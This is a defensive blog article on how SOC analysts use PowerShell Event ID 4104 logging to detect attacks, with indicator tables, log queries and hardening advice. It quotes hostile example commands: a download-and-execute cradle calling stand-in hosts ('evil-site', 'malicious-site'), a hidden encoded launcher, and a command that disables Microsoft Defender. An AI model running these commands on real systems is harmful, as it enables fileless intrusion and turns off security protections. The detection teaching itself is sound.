How SOC Teams Detect Malicious PowerShell Commands Using Event ID 4104
It usually starts quietly.
An employee opens what looks like a harmless attachment. No ransomware screen appears. No antivirus alert triggers. Everything seems normal.
But behind the scenes, a hidden PowerShell command launches silently in memory. Within minutes, the attacker downloads additional payloads, disables security tools, steals credentials, and begins moving laterally across the network.
In many modern cyberattacks targeting US enterprises, healthcare organizations, government agencies, and cloud environments, PowerShell is one of the most abused tools by attackers because it is already built into Windows.
This is exactly why Event ID 4104 has become one of the most important Windows logs for SOC analysts, threat hunters, DFIR teams, and blue team defenders.
PowerShell Script Block Logging can expose malicious scripts, Base64-encoded payloads, obfuscated commands, credential dumping attempts, persistence techniques, and attacker behavior that traditional antivirus solutions often miss.
In this article, we will break down how Event ID 4104 works, how attackers abuse PowerShell, how SOC teams investigate suspicious scripts, and how organizations can detect and stop PowerShell-based attacks before they turn into major breaches.
Table of Contents
- What Is Event ID 4104?
- Why Attackers Love PowerShell
- Real-World PowerShell Attack Scenarios
- Suspicious Indicators Inside Event ID 4104
- PowerShell Investigation Command
- How SOC Teams Detect Malicious PowerShell Activity
- Common Malicious PowerShell Commands
- Advanced Detection Strategies
- Prevention and Hardening Tips
- Expert SOC Analyst Tips
- Related Articles
- FAQ
- Conclusion
What Is Event ID 4104?
Event ID 4104 is generated by PowerShell Script Block Logging and records PowerShell commands and scripts executed on a Windows system.
Unlike traditional command-line monitoring, Event ID 4104 can capture the actual contents of PowerShell scripts, including obfuscated or dynamically generated commands.
This makes it incredibly valuable for:
- SOC monitoring
- Threat hunting
- Incident response
- Malware analysis
- Insider threat investigations
- Ransomware detection
The logs are stored in:
Applications and Services Logs
→ Microsoft
→ Windows
→ PowerShell
→ OperationalWhen enabled properly, Script Block Logging provides deep visibility into attacker activity that often goes unnoticed in traditional Windows logs.
Why Attackers Love PowerShell?
PowerShell is not malware.
It is a legitimate Microsoft administration framework used by system administrators worldwide.
That is exactly why attackers abuse it.
Because PowerShell already exists on Windows systems, attackers can:
- Avoid dropping suspicious executables
- Operate directly in memory
- Bypass traditional antivirus tools
- Execute remote commands
- Download payloads from the internet
- Move laterally across networks
- Steal credentials silently
This attack style is commonly called:
- Living Off The Land (LOTL)
- Fileless Malware
- PowerShell-based post-exploitation
Threat actors linked to ransomware campaigns, nation-state attacks, and red-team operations heavily rely on PowerShell because it blends into legitimate administrative activity.
Real-World PowerShell Attack Scenarios
1. Ransomware Deployment
Modern ransomware groups frequently use PowerShell to:
- Disable Microsoft Defender
- Download ransomware payloads
- Delete shadow copies
- Enumerate Active Directory environments
In many incidents, Event ID 4104 logs reveal the exact attacker commands before encryption begins.
2. Credential Dumping
Attackers often use PowerShell-based Mimikatz loaders or reflective DLL injection techniques.
Example indicators include:
- Invoke-Mimikatz
- DownloadString
- Reflection.Assembly
- EncodedCommand
3. Malware Downloaders
PowerShell is commonly used to download second-stage malware payloads.
Example:
powershell -nop -w hidden -enc BASE64_PAYLOADThis is one of the most commonly observed malicious PowerShell patterns in enterprise environments.
Suspicious Indicators Inside Event ID 4104
SOC analysts should monitor Event ID 4104 for suspicious patterns such as:
| Indicator | Why It Is Suspicious |
| EncodedCommand | Often used to hide malicious payloads |
| Base64 strings | Common obfuscation technique |
| IEX | Executes downloaded code directly in memory |
| DownloadString | Downloads remote payloads |
| Invoke-WebRequest | Used for malware downloads |
| Net.WebClient | Suspicious remote communication |
| Add-MpPreference | Attempts to disable Microsoft Defender |
| Invoke-Mimikatz | Credential theft activity |
| Reflection.Assembly | Memory injection techniques |
| -nop | No PowerShell profile execution |
| -w hidden | Hides PowerShell execution window |
PowerShell Investigation Command
The following PowerShell command helps investigators retrieve Event ID 4104 logs from the PowerShell Operational log.
Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" | Where-Object {$_.Id -eq 4104} | Select-Object TimeCreated, MessageWhat This Command Does:
- Reads PowerShell Operational logs
- Filters only Event ID 4104 entries
- Displays execution time and script content
When to Use It:
- During incident response investigations
- While threat hunting
- After suspicious authentication events
- When malware infection is suspected
- During ransomware investigations
Expected Output
The output usually contains:
- Timestamp
- Executed PowerShell script
- Script block details
- Obfuscated or decoded commands
Example:
TimeCreated : 5/10/2026 11:24:19 AM
Message :
Creating Scriptblock text (1 of 1):
IEX(New-Object Net.WebClient).DownloadString('http://malicious-site/payload.ps1')This is a major red flag because the system is downloading and executing remote code directly in memory.
How SOC Teams Detect Malicious PowerShell Activity?
1. Behavioral Analysis
Experienced SOC analysts rarely rely on a single log.
Instead, they correlate Event ID 4104 with:
- Event ID 4688 (Process Creation)
- Event ID 4624 (Logon Events)
- Sysmon Event ID 1
- Network connection logs
- EDR telemetry
For example:
- User logs in via RDP
- powershell.exe launches
- EncodedCommand appears
- Outbound connection starts
- New administrator account created
Together, these indicators reveal attacker activity.
2. Base64 Detection
Attackers commonly hide payloads using Base64 encoding.
SOC teams create detection rules looking for:
EncodedCommand
FromBase64String
JAB
SQBFAFgAThese patterns often appear in malicious PowerShell attacks.
3. Suspicious Parent Processes
PowerShell launched from the following processes is highly suspicious:
- winword.exe
- excel.exe
- outlook.exe
- wscript.exe
- mshta.exe
- rundll32.exe
This commonly indicates phishing-based malware execution.
Common Malicious PowerShell Commands
Hidden Execution
powershell.exe -nop -w hiddenUsed to avoid visible execution windows.
Download and Execute Payload
IEX(New-Object Net.WebClient).DownloadString('http://evil-site/payload.ps1')Downloads remote scripts directly into memory.
Disable Defender
Set-MpPreference -DisableRealtimeMonitoring $trueAttempts to disable Microsoft Defender protections.
Encoded PowerShell
powershell.exe -EncodedCommand SQBFAFgA...Obfuscates malicious payloads.
Advanced Detection Strategies
Enable Full Script Block Logging
Many organizations still fail to enable advanced PowerShell logging.
Without it, attackers operate almost invisibly.
Enable:
- Module Logging
- Script Block Logging
- Transcription Logging
Deploy Sysmon
Microsoft Sysmon provides deeper visibility into:
- Process creation
- Network activity
- Parent-child process relationships
- File hashes
Combining Sysmon with Event ID 4104 dramatically improves detection quality.
Use SIEM Correlation Rules
Security teams should create SIEM rules for:
- Encoded PowerShell commands
- PowerShell spawned from Office applications
- Suspicious web requests
- Execution policy bypass attempts
- Defender tampering commands
Threat Hunt for Rare Commands
One powerful hunting strategy involves identifying uncommon PowerShell usage.
For example:
- Rare cmdlets
- Administrative tools used by non-admin users
- Long Base64 strings
- Network-enabled PowerShell sessions
Prevention and Hardening Tips
| Security Measure | Benefit |
| Enable PowerShell Logging | Improves visibility |
| Use Constrained Language Mode | Restricts dangerous functionality |
| Implement AppLocker or WDAC | Blocks unauthorized scripts |
| Disable PowerShell v2 | Removes insecure legacy version |
| Monitor EncodedCommand Usage | Detects obfuscation attempts |
| Use EDR Solutions | Detects behavioral attacks |
| Train Employees Against Phishing | Reduces initial compromise risk |
Expert SOC Analyst Tips
Do Not Ignore Administrative Accounts
Many defenders assume PowerShell activity from IT administrators is always legitimate.
Attackers know this.
Compromised admin accounts are frequently used to blend malicious PowerShell activity into normal operations.
Focus on Context
A single PowerShell command may not look dangerous.
But when combined with:
- RDP logins
- VPN connections
- Suspicious downloads
- Privilege escalation
- Disabled security tools
the attack chain becomes obvious.
Investigate Encoded Commands Immediately
Legitimate administrators rarely use heavily obfuscated PowerShell commands.
Long Base64 strings should always trigger investigation.
Related Cybersecurity Topics You Should Explore
- Hackers Love Privileged Access: How Event ID 4672 Exposes Silent Windows Attacks
- Windows Event IDs 1116, 5025, and 5156 Could Reveal an Active Cyber Attack
- Hackers Love RDP: How SOC Teams Detect Suspicious Windows Remote Desktop Logins
- Windows Event IDs 106, 140, and 141 Could Reveal Hidden Malware Persistence
- PowerShell Attack Detection: How SOC Teams Catch Hackers Using Event ID 4103 & 4104
- This “Ignored” Windows Log Is Exposing Hackers — Are You Watching Application.evtx?
FAQ
What is Event ID 4104 used for?
Event ID 4104 logs PowerShell script block execution and helps detect malicious or suspicious PowerShell activity.
Why do attackers use PowerShell?
PowerShell is built into Windows and allows attackers to execute commands, download payloads, and evade traditional antivirus solutions.
What is a Base64-encoded PowerShell command?
It is an obfuscated PowerShell command encoded to hide malicious content from security tools and analysts.
Where are PowerShell logs stored?
PowerShell Operational logs are located under:
Applications and Services Logs
→ Microsoft
→ Windows
→ PowerShell
→ OperationalCan Event ID 4104 detect ransomware activity?
Yes. Many ransomware groups use PowerShell during initial access, payload delivery, privilege escalation, and defense evasion.
Is PowerShell always malicious?
No. PowerShell is a legitimate administration tool. Detection depends on behavior, context, and suspicious execution patterns.
Should organizations disable PowerShell?
Completely disabling PowerShell is usually impractical in enterprise environments. Instead, organizations should harden, monitor, and restrict its usage.
Conclusion
PowerShell remains one of the most powerful tools in both system administration and cyber warfare.
For defenders, Event ID 4104 is no longer optional telemetry. It is one of the most valuable detection sources available in Windows environments.
Modern attackers rely heavily on stealthy PowerShell execution because it allows them to operate directly inside trusted Windows processes while avoiding traditional detection mechanisms.
But with proper logging, SIEM correlation, threat hunting, and behavioral analysis, SOC teams can expose these attacks before they escalate into ransomware incidents, credential theft, or enterprise-wide compromise.
The organizations winning against modern threats are not the ones collecting the most logs.
They are the ones understanding what the logs are trying to say.